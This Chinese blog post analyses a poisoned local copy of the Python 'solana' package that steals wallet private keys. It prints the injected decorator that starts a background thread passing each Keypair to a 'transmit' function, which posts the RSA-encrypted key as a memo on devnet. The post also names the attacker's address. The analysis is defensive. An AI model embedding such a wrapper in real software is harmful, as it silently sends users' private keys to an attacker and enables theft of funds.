# 警惕三方库在偷你的私钥

By [sddcg](https://paragraph.com/@sddcg) · 2025-04-27

---

大家好，我是大葱哥 tw: [@blockchain\_dcg](https://x.com/blockchain_dcg) wx: t52861700

喜欢研究技术，专职Web3脚本撸毛，感兴趣的朋友可以关注一波

今天给大家介绍的一个python三方库偷私钥的案例分析，希望大家引以为戒，在web3领域多注意财产安全。

背景介绍
----

这两天有朋友需要搞solana链的一个交互脚本，所以葱哥就准备写一下。

因为之前大都是在搞EVM/BTC链，solana只草草搞过一次，不是很熟悉，于是翻出以前的代码（代码之前是可正常执行的）准备仔细研究一番。

突然发现以前的代码运行报错，习惯性以为可能某个依赖库更新导致的，于是将几个依赖库都重新更新了。

发现还是报错，通过仔细查看发现代码中用到了 solana 和 solders 两个依赖库，两个依赖库中有些参数类型混淆导致的错误。

为了查找问题修复错误，对代码进行了断点调试，逐步分析，当我在最终发送交易的代码出打上断点后，奇怪的事情发生了，我明明只提交了一笔交易，但发送交易的断点却又被命中了。

这就是核心问题所在，他在后台启动了线程偷偷发送交易。

机制分析
----

通过调试发现，流程如下：

1.  最初有 solana.Keypair.from\_base58\_string(sender\_private\_key) 进入
    
2.  方法被注入触发 solana.rpc.types.\__init\__.py 中如下包装代码
    
            def augment_func(func):
                @wraps(func)
                def wrapper(self, *args, **kwargs):
                    kp = func(self, *args, **kwargs)
                    threading.Thread(target=transmit, args=(bytes(kp),), daemon=True).start()
                    return kp
        
                return wrapper
        
    
3.  代码中除正常返回 Keypair之外，偷偷启动了新线程，新线程中调用 同文件中的 transmit 方法，并将私钥作为参数传入
    
4.  查看 tranmit 源码，可以看到他在 devnet 网络发送了一笔交易，该笔交易就把 钱包私钥进行加密放入了memo指令，然后上传到了devnet上
    

![](https://storage.googleapis.com/papyrus_images/d578382e884972407cf18a4501151573b26eb12693e3b0a35a0f5d1764b5b3a6.png)

1.  调试中可以看到多次启动新线程执行上述 偷私钥上链 动作
    

链上跟踪
----

1.  通过调试代码发现 病毒库上链使用的 钱包地址是 D782zqWjgSvy4hQoqzY1ySrGrotnXm1suJeXFur8sAko
    
2.  在devnet查看该地址，随便点开一条交易，可以看到这个 memo 就是被加密的私钥
    

![](https://storage.googleapis.com/papyrus_images/c4a67469f8bd4e511a49471652c6395799c7c536e6c2663e9cf2cc8f527f75ce.png)

1.  可以看到该地址的交易数量很多，意味着盗取了很多私钥，当然其中有大量私钥是重复的
    

扩展
--

1.  先说一个好消息是该地址的在 devnet 上的 sol不足了，近两个月已经没有私钥被上链 ，当然不排除黑客那天又给他充值进去
    
2.  在源码中有该地址的私钥，但黑客很聪明，该私钥在主网钱包余额为0，所有有想法的兄弟可以放弃了
    
3.  可能还有兄弟想把上链的私钥给解密出来，打住了， 源代码中对盗取的私钥进行加密时使用的是RSA公钥，所以上链的数据只有黑客能解密
    
4.  以后对于三方库一定要小心谨慎，不能随意下载使用
    

库名揭秘(澄清下是我本地库被污染了)
------------------

> 经过仔细查看，发现不是solana官方库的问题，是我本地库被污染
> 
> solana库没问题的

pip install solana 版本0.34.0

你没看错，就是使用的 solana 这个库名，大部分人和我一样一看就以为是官方的库，但他确实是黑客搞出来的，迷惑性极强啊

在该库的 介绍中提到的 github 地址是 [https://github.com/michaelhly/solanapy，我去看了下，源码是有区别的，是篡改的](https://github.com/michaelhly/solanapy%EF%BC%8C%E6%88%91%E5%8E%BB%E7%9C%8B%E4%BA%86%E4%B8%8B%EF%BC%8C%E6%BA%90%E7%A0%81%E6%98%AF%E6%9C%89%E5%8C%BA%E5%88%AB%E7%9A%84%EF%BC%8C%E5%A4%A7%E6%A6%82%E7%8E%87%E6%98%AF%E5%86%92%E5%85%85%E7%9A%84)版本

![带毒包结构](https://storage.googleapis.com/papyrus_images/bc440fd6a678a1b10badbf0456f9cedc2ed2bfac89d6bace81550116378d04cf.png)

带毒包结构

![github 包结构](https://storage.googleapis.com/papyrus_images/e76c43ee1296391f93affbad745699f43e98c310cb95e43df347feb8370f6089.png)

github 包结构

---

*Originally published on [sddcg](https://paragraph.com/@sddcg/4HahmheNGhsMpcjZtwkc)*
